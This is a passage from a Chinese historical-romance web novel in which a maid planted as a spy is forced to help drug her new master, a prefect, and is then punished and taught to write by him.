“那怎么能行。”许欢反驳道,“郎君您看其他郎君都站在我这边,您还是喝了吧。”
张清时有些无言,抬眸看向另一侧,见温玉正安安静静地给邻桌端发汤药。
于是他立马唤了一下温玉:“温玉,许欢端来的汤有些脏了,你帮我换一碗吧。”
“是,郎君。”温玉轻声应道,而许欢却炸开了锅。
“郎君,这哪里脏了,这可都是奴婢亲手护送过来的。”
许欢急得跺了跺脚,她就端了一碗,可不能让计划失败。
张清时还是在找各种理由好言相劝道,温玉也在默默将食盒收起。
可刚要关上盖板时,陈禹抓住了她的手臂,再把袖口对准汤碗,无色无味的药粉都被下了进去。
温玉猛地一惊,虽然大家的目光此时都在张清时和许欢身上,但他怎么敢当着自己这桌所有人面下药。
再抬眼看向周遭,原来这桌坐的都是赵县令和他的同僚,也就都是陈禹的“狐朋狗友”。
陈禹还一脸坏笑道:“温玉,还不给张郎君送去,他可等急了。”
“哈哈哈哈!”
桌上的人都发出魔鬼的笑声令温玉的心情十分沉重。
她这是送也不是,不送也不是。
恰巧,陈禹又端了杯酒起身说要敬张清时,但路却走得摇摇晃晃。
然后酒还不偏不倚地全洒在了许欢端过来的汤碗里。
他再假装十分歉意地朝张清时道了个歉,顺势继续叫温玉:“那个谁,还不快将郎君的碗换了,这让郎君怎么喝啊!”
“是,奴婢这就过来。”
温玉咬着牙应道,她提起食盒,却发现这食盒突然有千金重,所以她前进的步伐十分缓重。
可再怎么沉重,两三步的距离还是很快就到了。
她手指有些颤抖地打开时候,端起一碗汤药送至张郎君的手上。
温玉现在有多么期望许欢能再疯些,打断她的碗。
可是由陈禹在,这一切都不现实。
她只能沉默地站在一旁看张清时将这碗掺了药粉的醒酒汤喝了下去。
看着张清时的喉咙涌动,那些汤药已然全进了他的胃里。
然后喝光了,他还还给温玉,贴心地嘱咐道:“记得帮忙把这些客人喝干净的碗收起来。”
“是……郎君。”
温玉回答的声音有些颤抖和嘶哑,她把那些不能说出口的话大把大把地往下咽,从喉咙一路滚烫地咽进肚子里,令她十分难受。
“还不赶快下去。”陈禹忽而对她们催赶道,“我还要继续向你们郎君进酒呢!”
“是。”
“是。”
许欢与温玉一同退下。
宴席又恢复热闹,唱曲的继续唱曲,交谈的继续交谈。
但温玉有些浑浑噩噩,许欢在一旁叫她好几声,她都没听见。
直到许欢踩了她一脚。
“我问你,你给郎君下药了吗?”
温玉冷冷地看向她:“没有。”
“少骗鬼了!”许欢两手叉腰十分得意道,“主君给我比了手势,说你给他的汤药已然下了。”
温玉:“那你还问我做什么?”
“当然是为了劝诫你待会儿可别坏我好事!”许欢轻蔑道。
“
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神经病!”
温玉撂下这句话后径直离开了,她不敢看,她也不敢想,今晚会是怎样的场景。
那副春药,陈禹说会有半个小时起药效。
半个小时陈禹也一定会让宴席结束,而那时候许欢就会趁需而入。
到时候——
温玉使劲晃了晃脑袋,想把一切和她无关的事物都给晃出去。
却没成想走着走着就来到了后院。
夜晚,满院的芙蓉花还没也衰败之意,还依然傲立在枝头上,散发阵阵清香。
温玉顺势躺在院庭的草坪上,闻着花香,细数着夜空中的星星。
一颗两颗,想起母亲曾告诉她,父亲也是天上的一颗星。
那时候温玉常常问:“为什么父亲会选择去天上当星星呢?”
但母亲永远回答说:“因为只有至善至纯的人才能变成星星,你父亲就是那样的人。”
温玉摇摇头表示不相信,从小到大,她自始至终都觉得父亲是世间上最最最自私的人,很早就抛弃母亲和她了。
但母亲则是常常刮着她的鼻尖安慰道:“温玉,有很多事情不是你想的那样,你父亲很爱我,也很爱你。只是有很多事情无法避免发生,等发生了,一切都晚了。
所以温玉,你一定要听主家的话,与周围人和谐相处,你知道吗?”
听主家的话?
花香很浓,温玉渐渐地闭上了眼眸。
……
忽而,寒风四起,乌云吞没了空中那仅剩的几颗星星。
温玉冷地从地上惊坐起,她有点想回到偏房去取暖。
于是她拍了拍身上的草灰,慢慢地在小路上走着,路途中却遇到被凌侍卫架着的许欢出来。
“发生何事?”温玉诧异地问道。
而凌侍卫正气凛然道:“她夜闯张郎君寝居,张郎君说她醉了,让我将她带了出来。”
温玉惊讶地看了一眼许欢,根本没什么醉意,反而还冷笑一声。
接着她挣脱掉凌侍卫的搀扶,走到温玉身旁悄声道:“没想到张郎君的耐力很强,这半包药粉下下去根本对他没有丁点效果啊。温玉,你下次可要多下一点啊,哈哈哈哈!”
“疯子!”温玉低声骂了一句,继而朝凌侍卫行了一礼道,“凌侍卫,这里离偏房还有些路,还需要劳烦凌侍卫将她送进去了,我去厨房给许姑娘拿些醒酒汤。”
“好,那就辛苦温玉姑娘了。”凌侍卫应声,便继续搀扶着许欢离开了。
而温玉则一路向东,选择去了张郎君的寝居。
轻敲几声门,里面没有声音。
于是温玉只好主动推开门,一开门,就发现衣冠整齐的张清时此时正在桌前一杯一杯接着喝水,眼尾猩红。
他的状态看起来不是很好。
温玉便上前紧张地询问道:“张郎君,您需要我侍奉睡觉吗?”
“不需要!出去!”张清时大声喊道,可举着茶杯的手都有些颤抖。
温玉能感觉到他同她讲的每一个字都非常用力,充满了克制。
她还是劝道:“郎君您被人下了春药,您不需要我,会死的。”
“我不需要!”张清时眼神迷离,身子也开始出现了摇晃,温玉急急忙忙地上前扶住他。
没想到这一扶,他就起身把她强压在桌上,朝着她一块肩膀就直接咬了下去,温玉倍感疼痛,她能感到肩膀有鲜血流出。
而张清时在尝到鲜血后也恢复了一丝冷静,当即起身从柜子里抽出一把小刀,划破了自己的手腕,让自己保持片刻的冷静:“温玉,帮我叫大夫好吗?”
“温玉,帮我叫大夫好吗?”
在张清时一声声呼喊中,温玉有些迷茫。
8. 杖责
“刺啦——”
张清时又往自己手臂上划了一刀,鲜血直直地往外冒。
温玉再也忍不住了,道了句:“郎君您等我。”
随即她踏出门,往外面一直跑,一直跑。
她还是选择听母亲的话,听主家的话。
人一旦要认真开始做某件事起来,往往就会遇到很多阻拦。
就比如现在,天开始下起蒙蒙细雨,雨水遮住了温玉的眼眸,灌进她的衣裳里,企图以沉重的力量拖垮她。
但她依然不知疲倦地在街上奔跑着,她希望张清时能好好的,就像第一次为母亲求药时希望母亲也能好好的那种心境。
风雨逐渐加大,温玉消瘦的身体必不可少地被起摧残,然后被刮到在地。
剧烈的疼痛感、沉重的恍惚感都笼罩住她的视觉、听觉和触觉。
她看不见,听不见,也起不了身。
温玉咬咬牙,开始选择在地上爬行。
幸而偶然遇到一颗锋利的石子,划破她的手掌,加重了伤口,她才恢复了片刻清醒。
于是她捡起这块石子,选择带它一起前行。
如果大脑再次陷入混沌,那就用这颗石子一遍一遍地划,迫使自己清醒。
所幸,在血流成河之前她还是找到了一间医馆。
医馆的老者她见过一面,是可怜她没钱也愿意施舍她一份药的大夫。
走进医馆里面,温玉还没开口说话就将老翁吓得半死。
他忙上前搀扶温玉问道:“姑娘,你这可是被主家打了?”
温玉摇头,抓紧老翁的衣袖,有气无力道:“求你快去救我家主君!”
“好好好!”老翁开始收起桌上的东西,“姑娘,你家主君生了什么病?我好抓几副药过去。”
温玉酝酿了很久小声道:“他被人下了春药!”
哐当一声,老翁手中的小箱子吓得被直接摔在地上,脸上也露出一副难以言说的表情。
而温玉默默地替他从地上捡起还给他:“大夫,还望你不要将此事说出去。”
*
所幸,老翁从医几十年,对这方面还是有那么丁点经验在的。
因为一般人被人下了春药就会当场解决,鲜少有人会忍到求医治疗。
该说不说,温玉的主君还真是个狠人。
待他们两赶到张清时的寝居时,他的手上都有密密麻麻数几十道划痕了。
因为治疗之事比较隐秘,温玉就呆在门口守着,老翁进去治疗。
雨还是淅沥淅沥地下着,屋里面半点声音温玉都听不着。
她只能双手抱着自己在屋边的一个角落里看着天空连着线的雨珠发呆。
寒风很大,她很冷,她又想起母亲温暖的怀抱,想起母亲的话和母亲的遭遇。
母亲是个很温驯的人,虽然也识不了几个大字,但对任何人都是温温柔柔的样子。
也经常会教导温玉要对其他人一样温柔,要听主家的话,要服从主家的一切安排。
她母亲的确是言行一致了,可换来的是什么?
面对他人的诬陷打压,主家充耳不闻、视若无睹,反而让她们母女干最苦最累的活。
不仅如此,母亲在陈府累死累活干了一辈子,到头来生了病还只能被扔进柴房里自生自灭,一点药钱都不肯付。
也是在这样的雨夜,母亲病情加重,温玉迫不得已偷溜出府求药给母亲,可还是招小人揭发,硬生生挨了几十大板,被罚洗全府人的衣裳半个月。
也是在这半个月她才萌生出要逃离陈府,寻求自由的想法。
可希望还是被陈府给一次又一次地掐灭了。
温玉不敢想,等张郎君被救过来后,她会迎来什么。
“温玉——”
忽而,屋内的一道清冷的声音打断了温玉的回想。
恰巧雨停了,张清时好了过来。
温玉慢慢挪动脚步走进屋内行礼道:“郎君有何吩咐?”
她低着头不敢看他的神情,只听他淡淡道:“送大夫出府,帮我叫徐管家过来。”
“是,郎君。”
温玉应道,引了大夫出来。
大夫悄声问道:“这不是刺史大人吗?何人这么歹毒给他下这种药?”
温玉难以启齿,只道:“不知道,还希望大夫出去不要乱说。”
大夫叹了口气道:“还好张郎君抑制力好,这要换做别人,早身败名裂了。”
“不过幸好有你早些通知我,不然他再好的意志力也抵不住。”
一路上温玉都默不作声只听老翁讲话,然后再将他默默送到门口。
行至门口时,老翁又叮嘱两句:“此药还是有些伤身,你劝告张郎君,近日还是需要注意休息。”
“还有你自个儿,也擦点药休息一下吧。”
“谢谢大夫。”温玉端正也朝他行了一礼。
最后,大夫还是叹了口气走的。
继而,温玉又去寻徐管家,他还在账房里算着这几日的开销。
见温玉出现,还吓了一跳。
因为温玉的状态确实不太好,衣裳全湿,头发凌乱,还有鲜血与水珠混合湿哒哒地滴落。
这要是说女鬼,谁都能信。
但她张口不谈自己,只说:“郎君有事找你。”
随后,他两一同去张郎君那。
温玉本想引徐管家过来后就告退,可张清时却肃然开口叫住了她:
“温玉,跪下!”
不容反抗的威压下,温玉只句不言,规规矩矩地跪下。
而毫不知情的徐管家看的是一愣一愣的,还替她求情道:“郎君,你看看温玉都淋雨成这样了,你还让她跪下干嘛呀?”
张清时没有理会,继续质问道:“温玉,是谁给我下的药?”
“下药?”徐管家满脸诧然地看着两人,更加迷惑了。
“奴婢不知。”温玉淡然道。
“徐管家。”张清时冷冷道,“明日将这批丫鬟全给换了。”
“这……郎君,发生什么事了?”徐管家不忍问道。这些丫鬟都是自己招过来的,共事也有些时日,又没犯什么大错,要赶走这也得给人家个说法吧。
张清时只道:“无缘故。”
“这……”徐管家着急地看了一眼温玉,“温玉呀,有什么事情就跟郎君解释清楚呀,你这被赶出去,其他府还怎么收你们啊?”
温玉还是一言不发。
张清时便再次催促:“徐管家,无须多言,今日带她回去,明日就着手解散。”
这一看是真的要动真格了,徐管家犹豫了一下道:“是,郎君。”
闻言,在地上跪着一直沉默不语的温玉立即抬起头来,直直地对上张清时那双清明却又带着愠怒的眼眸。
她不想被赶出府。
那她该解释什么?解释她是陈府派来的细作,而她的任务就是勾搭上张郎君,从而让陈禹在青州更加叱咤风云吗?
还是解释说药不是她本意下的,是无可奈何之举呢?他
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会选择相信吗?
“温玉,别看了,快解释呀!”徐管家真是觉得温玉不要命了,虽不知道犯了什么事,也不该在郎君最生气的时候直视郎君呀。
随即,温玉低下头,心死地回道:“这药的确是奴婢下的。”
“你哪来的药,动机是什么?”张清时继而质问道。
“奴婢从家里带的,奴婢自始至终只有一个目的——”温玉紧抿了一下唇,“喜欢郎君,想和郎君在一起。”
这解释的,把徐管家都听懵了。
但在一旁的张清时却闭上了眼,沉声道:“好,温玉以下犯上,大逆不道,徐管家,将温玉拖出去,重杖二十下。”
“啊?”徐管家震惊,温玉还受着伤呢,这要是连打二十大板,估计得打个半死。
“奴婢甘愿受罚!”
还不等徐管家求情,温玉直接应下。
她不在乎惩罚重与不重,也不在乎外人如何相看,她只在乎自己能不能留在张郎君这,只在乎自己能不能救到母亲。
见温玉应的这么果决,徐管家也不好再多说什么,将温玉搀扶起来道:“你且在门外先站着,我会叫些仆从过来。”
“是。”
温玉应后,自觉退下,站在屋外。
屋外的雨停了已久,但雨珠还挂在墙上、树梢上,枝叶上。
等风吹过,圆润的雨珠才会顺着风势往下掉落,终而掉落在地上,成为一摊无状的水渍。
接着,就有三四个仆从举着长凳和长木板走了过来。
然后大力地将温玉按倒在木凳上,再派人高高举起长木板,又狠狠地挥落。
“啪!“
一下一下的碰击声打破了寂静的夜晚,也打破平静的人心。
站在屋内的徐管家听得那是连连皱眉,不理解地问:“郎君,这温玉到底是给你下了什么药,让你这么惩罚一个姑娘家啊?”
张清时睁开眼,看着门口,淡淡道:“春药。”
“春药那又如何?等等春——?”
徐掌柜瞪大了双眼:“她给你下这种药???”
张清时点了点头:“我今晚只喝过她递给我的东西。”
“那此人断不可留!”徐管家立刻严肃了起来,原以为温玉这姑娘看起来柔弱老实,没想到竟对主子起了这样恶心的心思。
这杖责也是该罚!
“她得留下来。”
张清时继续解释:“此药我问过郎中了,不是中原之要,而是来自海上国乌合。她从未出过府,何来的药?”
“那她是——卧底?”徐管家暗暗吃惊,没想到有些人为了结交张郎君竟把手段用在这种地步,关键这人还是自己选的。
“那要不,把她抓起来逼问?”
徐管家将警惕地眼神移至门边,门外只有木板的敲打声,却毫无半点痛苦的呻吟声。
这让他更加武断了温玉其实不是丫鬟,而是一个内力高强的刺客,随时有杀死张郎君的可能。
“不用,她不会说任何实话的。”张清时望向书桌,“徐管家,你还记得我们是为什么来自吗?”
“小的自然知道,是为了追查隆王与领国勾结之事。”徐管家沉声回答道。
“青州临海,往来外邦贸易不在少数,要查清背后是谁在交易实属不易。”
“而温玉只是他们一颗棋,只要不发现,亦或是我们的一颗棋。”张清时目光凝聚了起来,“但我们可以透过她,摸清她的底细,从而查清她的幕后到底是怎样的一群人。”
9. 恢复
温玉再度睁开眼时,头顶不再是木板,而是她熟悉的木梁。
是,她又被关进了她熟悉的小黑屋里。
但,还是给她开了间微小的窗,给了她一点极小的光芒。
是时候该早起干活了。
温玉闭上眼,稍挣动了一下手臂,浑身的刺痛感开始袭来,刺痛她的血肉和神经。
温玉已全然忘了,昨晚是怎么回来的。
她只能挪动脖子,刚好床旁还有一张小桌。
桌上有药和水。
温玉抿了抿唇,忍着痛努力地抬起手,可手像筋骨断了似的,无力又能牵扯着每一处神经剧烈地疼痛。
温玉忍得额头上都冒出许多细汗,才勉勉强强把手搭在桌上。
可还是够不着。
她想支起背,可一动,万念的痛感又将她拉扯了回去。
她把唇都咬出血印,背还是支不起。
温玉只能换种办法,将手搭在床侧,接着床,一咬牙,就翻过去。
可天不遂人愿,她一支起手臂,伸手去够时,没多久,就又无力,直接侧翻在地。
头撞上了桌角,桌上的水也倒了,顺着桌沿滴滴答答地流在自己的衣裳上。
她还是够不着。
不知怎么的,无力感和委屈感瞬间涌上心头。
她这才痛哭了起来。
她被关在这。
像以前多少的岁月一样,在这个小黑屋里被无限地关着。
看不见星星,看不见阳光,相伴的只有恐惧和痛苦,两个一直缠绕她人生的情绪。
温玉泪水像决堤般泪流满面,她想是不是哭干了,以后就是不会流泪了,以后就不会苦了。
她就这般死寂地望向那唯一透着小光的窗。
忽地,更多的阳光照进来了。
温玉还以为是幻觉,直到声音的出现。
“温玉姐姐!”
雨燕端提着一盘食盒过来,看见温玉惨兮兮地躺在地上,万分震惊。
连忙扶起她回到床上。
“温玉姐姐,你怎么会受这么重的伤啊?”雨燕看着她身上没一处好的,还有干涸的血迹,满眼心疼。
“水。”
但温玉现在心中只所求这一物。
“好好好。”雨燕连忙打开食盒,去处一碗汤,慢慢地移到温玉唇边。
温玉开始大口大口地喝起来,她渴极了。
待温玉喝完,她才恢复了精神,问道:“雨燕,你怎么会在这?”
“是徐管家,管家说你偷溜出府,所以罚你在杂屋里关禁闭,然后让我每日给你送三餐。”雨燕心疼道,“可没想到你竟受了这么重的伤,是主家打的吗?他们怎么能这样,看起来冠冕堂皇的,也是个狠心的主!”
“雨燕。”温玉摇摇头,其实徐管家已经很给面子了,“是我自己摔的。”
“啊?”雨燕有些不可置信,“那温玉姐姐,你为什么跑出去,还受这么重的伤?”
温玉垂眸,思衬道:“昨日我看一个贵人长得好看,追了出去,然后被马车撞了。”
“这……可真不是你风格。”
对于她解释的措辞雨燕有感讶异,但温玉看起来就不像是会说谎的那种人,她还是选择相信她。
“温玉姐姐,那我替你搽药。”
“嗯。”
温玉点点头。
“谢谢你,雨燕。”
谢谢你,能携光芒来拯救我。
*
过了差不多五日,经雨燕细细照料,温玉已经能够下床活动了。
甚至还能出去逛逛,温玉才发现,这间“小黑屋”连门锁都没有。
今天中午又是雨燕过来送饭。
见她提着吃食在小路上一蹦一跳的,温玉打趣地问她:“是最近发什么好事了吗?”
“嗯嗯。”雨燕激动地点了点头道,“郎君特地清了夫子过来,说每日午后教我们学一个时辰的字呢?”
“真的假的?”
温玉从来没看过哪个主家对丫鬟这么好的,就连听也没有听说过。
“真的!”雨燕认真道,“你要不信,我们今日去看看?”
温玉点了点头,是时候应该出去了,毕竟徐管家从来没说要关她关多久。
于是两人吃完饭就一同去了靠后院的小房间里。
小房间很大,大家可以随意挑位置。
温玉选择坐在窗边,阳光最充足的地方,她很喜欢,雨燕则选择坐她旁边。
而许欢进来就选择坐在最前面和最中间的位置。
阿喜和阿莫可能也是真的想学习一起坐了前排。
还有两三个仆从也跟着进来学习,选择离她们丫鬟稍远的另一侧。
坐好后,大家都一起静静地等待着夫子。
约摸过了五分钟,夫子进来了,推着门缓步进来,灰色长衫、黄黑的皮肤、精瘦的脸颊、长长的胡须、豆大有神的眼珠。
形象说不上好,但威压感十足。
尤其是来自他手上那块长长的教板。
整个房间都呆若木鸡。
他开始介绍自己:“鄙人姓江,你们需敬我一声‘江夫子’,我的课堂上希望大家都能够认真听,不许忤逆师长,如若违了我的规矩,我就教板伺候。明白了吗?”
“是,江夫子。”
众人齐声应下,都是被他给震住了。
继而他开始教大家习字,
先学《千字文》,“天地玄黄”,一个字一个字带大家读和认。
刚开始大家都是抱着好奇心学,可学着学着都开始东倒西歪。
江夫子气得用教板拍了一下桌,大家才换得片刻清醒。
忽而,有一只蝴蝶落在了窗台。
还在恍惚的温玉注意到了它,是只白色蝴蝶。
它见到温玉后,还扇了几下翅膀,似在同她打招呼。
温玉起了兴趣,伸手想逗弄一下它。
可蝴蝶像害羞似的,还没碰上就赶紧扇动着翅膀飞走了。
温玉的视线也随之过去,看它时而在空中盘旋,时而停歇在绿草上,时而又直冲云霄,无拘无束,自由自在多了。
温玉继续看着,全然忘记了还在讲课的夫子。
而那只蝴蝶在窗台那一块局限视野的四方之地飞了个遍,它突然有了想飞出这块地方的心思。
于是不带停歇地扇动着翅膀,一直往前飞,要离开四方之地,离开温玉的视野。
温玉想让它停下,便不由地大喊道:“停下!”
屋内的读字声、翻书声、说话声都在这一刻戛然而止。
雨燕拍了拍温玉的肩膀,温玉才收回眼神对上江夫子。
江夫子气得豆大眼睛都怒睁成汤圆状了,他拿着教板指着温玉道:“你在干什么?”
温玉心虚道:“夫子,抱歉,是我有些不舒服,才叫你停下的。”
“那就憋着,我不喜欢别人打断我。”江夫子重重敲了一下桌板,将学子们的视线收拢,继续讲课。
温玉垂眸又望向窗外,蝴蝶已经飞走了。
她的心有些动了,于是她又站起来对夫子道:“夫子,憋不住了。”
“哈哈哈哈哈。”
这句惹得屋内众人都大笑了起来。
江夫子的脸色更沉了些,指了指门边:“给我滚,以后都不用来了。
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”
“是,谢谢夫子。”
温玉爽利地答应,然后马不停蹄地跑了出去,跑出这四方之地。
果然她一出去,就又遇见了蝴蝶。
蝴蝶还在往前飞,她也紧跟了上去。
一路奔跑,一路迎着风与花香,温玉从来没感受到如此的洒脱。
她继续追着蝴蝶的脚步,蝴蝶飞,她也展开双臂拥着飞。
蝴蝶盘旋,她就扑过去,与它玩乐。
蝴蝶落在草尖,她就伸手小心触碰,与它热情交流。
在这场“你追我赶”的游戏里,温玉玩的不亦乐乎。
倏地,蝴蝶停在一朵芙蓉花上。
温玉悄摸走近,想捕捉这只蝴蝶。
于是趁它不注意,猛然一跃,要扑到它。
可蝴蝶很敏捷,她扑了空,扑倒在地上,喂了一嘴的青草和泥土。
但温玉并不觉得痛,还乐呵呵地爬在地上笑了起来。
她很少有这么畅快过了。
等畅快地笑完后,她抬起头,却猛然发现眼前多了一双黑色靴子。
轻松的情绪立马被恐慌所替代。
温玉吓得立马起身跪好,偷抬了一眼后,马上行礼道:“见过郎君。”
随即头顶上方传来一道不急不缓的声音:
“你为什么没有去学习?”
“学了,但学不进去。”温玉老老实实地回答。
“为什么学不进去?”
问话的语气开始加重。温玉选择不作声,她总不能说是因为自己贪玩所以才学不进去吧。
“回答我,温玉。”张清时不依不饶,“你不是说想给母亲画画写信吗?为什么学不进去?”
温玉愕然,没想到张郎君把她随意找的一个借口都能够记在心上。
可自己……
她回头望了那间屋子。
她也不想回去。
温玉手指揉搓着裙摆,只好扯了个无厘头的理由:“夫子貌丑,我学不进去。”
“……”
头顶上方良久未传来声音。
温玉偷偷抬眼看过去,刚好与那道清润的视线撞上。
张清时开始说话,但声音似有在克制:“温玉,你不能以外貌随意评价他人。”
温玉收回眼神,低着头看着绿油油的小草,恰巧那只蝴蝶又飞了回来,绕着张郎君洁净的裙摆低飞。
温玉更不想被抓回去学习了,便小声掰扯道:“那郎君怎么办?要不您教我?”
她不相信他会教自己,他本就不喜人接近,怎会喜欢自己天天绕在他眼前“飞”。
果然如温玉所料,张清时轻咳了一声,还是找了个理由:“我白天要处理公务,没时间指导你。”
“那没关系呀,我可以一天学一个字。”
温玉装作一副天真无邪的样子,就等着张郎君指责她荒唐,指责她不思进取,然后就不会再把她关进那间古板的屋子里。
“好,可以!”
“!”
温玉震惊地抬起头看向张清时,要不是他的面色和语气都十分的认真,温玉差点怀疑她刚才幻听了。
只见他又徐徐道:“你若有心思学,我教你也无妨。从今日后每天这个时辰来我书房替我研磨,我会叫管家给你多开一份工钱的。”
“啊?”
张郎君的话语再一惊住了温玉,他不仅愿意教她,还愿意给她多一份工钱。
这么好的一件事,这是真实的吗?
温玉摇摇头还是不信。
于是当温玉再度用怀疑地眼神打探张清时的目光时,他语气十分冷冽:
“怎么?我也貌丑?”
10. 习字
张清时本有“花面郎君”之称,自然不是貌丑。
所以在温玉狠狠掐了一把自己后,这才意识到现在不是梦,而是真真实实地在现实发生。
于是她立马向张清时磕头道:“多谢郎君,还请郎君受我一拜。”
认师行叩礼,古今往来的礼仪,温玉也是知道的。
站在她面前的张清时微微颔首,默允了她这个学生。
接着便带着她一起回到了书房。
书房的摆布还是依旧错落有致、干干净净、冷冷清清。
两人进来时稍微带了一点热度。
随后,张清时来到书桌前,折收起桌上油墨已干的公文,又铺了张新纸。
再点燃油灯,才唤温玉过来。
温玉应声走至他的身旁,灯火照墙壁上,随着风动,两个人的影子再慢慢靠近。
“会研磨吗?”张清时轻声问道。
温玉摇摇头,从前在陈禹书房或者是大公子陈子诩书房时,她都是个守门的和打扫卫生的。
莫说会研磨了,就连提笔也不会。
“没事,我教你。”
随即,张清时摆正了砚台,往中间滴了一滴清水,再取墨条在光滑发亮的砚台上转圈细细地磨。
磨至油状后,又加一滴清水,再继续用墨条磨,如此往复几个来回后,浓黑的墨汁就磨好了。
“学会了吗?”张清时问。
温玉点点头,这毕竟看起来也不是很难嘛。
“那我们今天先学两个字吧。”
张清时招手,温玉就过来站在他的身下。
他很高,温玉只能到他胸脯那块。
“郎君,我们学哪两个字?”
“等会再说。”
张清时给她递了支轻盈的毛笔,开始教她这么握笔,怎么落笔,以及写字时的姿势。
他说的很认真,黄亮的灯光映照他身上,反复给他渡了一层神圣的金边。
母亲曾说过,会读书写字的都是圣人。
虽然温玉不知道圣人是什么样,但此刻已然成了具象化。
教会基础的知识后,他俯下身,握住温玉的笔,开始真正带她落笔。
一顿一收,一顿一横。
不知是烛火太刺眼,温玉的心神没有留在纸上,反而留在张郎君的书墨香的气味上,还有他温润的声音上。
就如同墨汁侵染白纸,他侵染了她的心。
“……”
烛火闪动,温玉还没来得及学,张清时就已停笔。
“这是你的名字,温玉。”
“我的名字?”
温玉好奇地往纸上一瞧,有两个娟秀工整的字赫然出现在自己笔下。
“这是我的名字?”
温玉惊叹,她不识字,从未见过自己名字的模样。
而如今见了,自然是欣喜又激动:“我的名字竟然这么好看?”
听着温玉有些孩子气的语气,张清时忍不住轻笑了一声:“只要你认真学,这世间所有的字亦都可写的这般好看。”
温玉点点了头,眼睛闪着晶光:“那温玉一定要好好学。”
“那好,这字你就先抄数遍吧,让我看看教你的成效。”
“好!”
温玉满口答应,兴致勃勃地用搬来一张木凳当做书案,自己则跪坐在地上,开始提笔。
可刚一落笔,她就犯了难。
因为,她刚刚根本没有学,心思都未在字上。
温玉很懊恼,想求助张郎君帮助时,发现他已然端正地坐在书桌前,提笔有力地在写着什么。
温玉不好打扰,于是硬着头皮对着张清时的字一遍遍临摹。
一遍遍临摹,一道道鬼画符的字就出现了。
以至于交给张清时检阅时,他脸都黑了:“温玉,以后每次这个时辰来先将‘一’字抄写千遍!”
百遍的鬼画符她都写了一个时辰,千遍岂不是手要废了。
她找借口道:“郎君,可温玉每日都要干活呢,这么抄,恐有受不住。”
“不行,学习非一日之功,需得日夜勤练。”张清时郑重地拒绝。
无可奈何,温玉只能默默应了。
于是在后来的几日,她都在后院张清时的书房里练字。
有时郎君不在,她也依然规规矩矩地习字。
一复一日,倒也会写字,还认得几个字。
但与听夫子学的比还是差了一星半点。
乃至于又受到了许欢的嘲笑。
今日风大,落叶掉的多些。
温玉手脚麻利地捡拾干枯的落叶,想着赶紧去郎君屋内习字。
但许欢还在一旁摆弄自己的学识:“夫子说了,我是这堆学子里最聪明的那个,学什么都可快了。”
其他人都不惜的搭理她。
她就走到温玉面前显摆:“温玉,听说你被关小黑屋里,学不了字,要不要我教你呀?”
温玉心里急着干完活,根本不想理她。
许欢却更来了劲似的:“温玉,你知道枯叶怎么写吗?你知道芙蓉花怎么写吗?”
温玉还是不理她,希望她能停止住这场闹剧。
可许欢一点都不满意,不满意他人的态度,尤其是温玉的态度,于是她一脚奋力地踢倒没有了温玉的篓子,刚收拾好的落叶倒了出来,经风一吹,四处飘散。
“你在干什么?你给我捡起来!”温玉吼道,自己努力个把个时辰辛苦捡得却被她一脚踢的全前功尽弃了,这搁谁身上都得生气。
许欢撅起嘴巴,毫不在意道:“谁让你不听我说话的,这就是下场!还有你干嘛这么生气,是急着干什么去?”
“关你屁事!”
温玉见与她说不通,又赶忙自己重新捡起来。
可许欢想是抓住了什么,不依不饶道:“好啊,温玉,你是不是借着被关小黑屋,又偷偷地去见郎君?难怪我们都去上课了,就你不知道在干些什么!”
“你到底能不能把你嘴巴放干净些?”
温玉气得自己也踢了一脚竹篓。
“真的比茅厕还脏!”
闻言,其他丫鬟都低头掩嘴偷偷笑了以表认同。
许欢看着,自然气得脸是红一阵白一阵的,然后又不由分说地伸手挠温玉。
温玉不是个软柿子,直接就回击了起来。
两人很快就扭打在地。
雨燕她们吓得赶忙上前将两人拉扯开。
拉扯开也阻止不了两人的较劲。
许欢恶狠狠道:“温玉,你我还不知道吗?就凭你,也想勾搭郎君,郎君只能是我的!”
“呸!自己没本事,就不要在这胡说!”温玉毫不示弱地怼了回去,她真觉得许欢没脑子,一天天的总把勾搭郎君的话放在嘴边,生怕别人不知道她是过来干什么的。
她自己这样说也就算了,还非要扯上别人,拉别人入泥塘。
温玉真恨,恨陈禹的恶心,还恨陈禹给自己送了这么个蠢笨如猪的队友。
许欢还在囔囔着:“温玉你才脏呢!你不仅身子脏,脑子也脏!天天想尽办法往郎君屋里跑,以为大家都不知道吗?”
温玉回骂道:“你属狗吗?整天叫个不停!”
“你……你……!”
两个人争得面红耳赤。
殊不知有一人在此地观察很久了。
她紧走着眉头,脚踩在干枯的枝叶上发出干脆折断的声音。
众人才将目光移到她身上。
她梳着冲天的高髻,身着布满牡丹花团的锦群,浓眉圆目,额间点着一枚花钿,携着脂粉香气款款而来。
许是在郎君府里待久了,鲜少有见过打扮得这么富丽堂皇的女子,所以在场所有人眼睛都挪不开了,甚至忘记要劝架这回事了。
唯有温玉和许欢不显得旁人惊讶,因为她们都认得她,陈府嫡女——陈瑶。
陈禹膝下有一儿一女,小公子唤陈子诩,从小娇生惯养,性情浪荡,腹无诗书,每年考取功名,每年都悻悻而归。
大女儿则唤陈瑶,生得端庄,性情也温婉,所以陈禹从小就将她往琴棋书画那方面培养。
陈瑶小娘子学得勤奋,那时候小小年纪
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就成了十里八乡有名的才女。
但在名头正盛的年华里,她很快就被那些达官贵人给惦记上。
陈禹不放弃任何想向上的跳板,于是遂了那些达官贵人的愿,陈瑶刚及笄,就将她送给年迈四十岁还是死了正妻的赵县令做了续弦。
那时候温玉还小,只记得大婚那日,全府上上下下的喜庆中只有陈瑶娘子哭了。
回到现在,几年未见的陈瑶养的很好,花容月貌、珠圆玉润,发髻上金钗也不计其数。
只是她为什么来这,温玉心中存疑。
“你,还有你。”陈瑶用下巴指了温玉和许欢,管教道,”私自斗殴,跟我出来受罚!”
陈瑶倨傲的眼神清清一扫,温玉和许欢就清楚她的意思,应了声后便在众人愕然的眼神中随着陈瑶离开。
她们跟着陈瑶来到一处假山的背面,安静又隐蔽。
三人稍稍站定后,陈瑶一转身,没带丝毫犹豫地直接就赏了许欢和温玉一人一巴掌。
再拿出当家的气势对两人道:“怎么?陈府花银子是送你们过来打架的吗?”
许欢见势捂着脸当即跪下来求饶道:“奴婢知错了,奴婢再也不敢了。”
而温玉将血腥子咽下,也跪了下来。
陈瑶冷哼一声,低眼看了一下两人:“你们待在刺史府这么久了,可有打听到张清时近日在做些什么吗?”
闻言,温玉和许欢两人都陷入了沉默。一个进了书房天天抄字,一个连人面都见不上,根本不知道郎君在做什么。
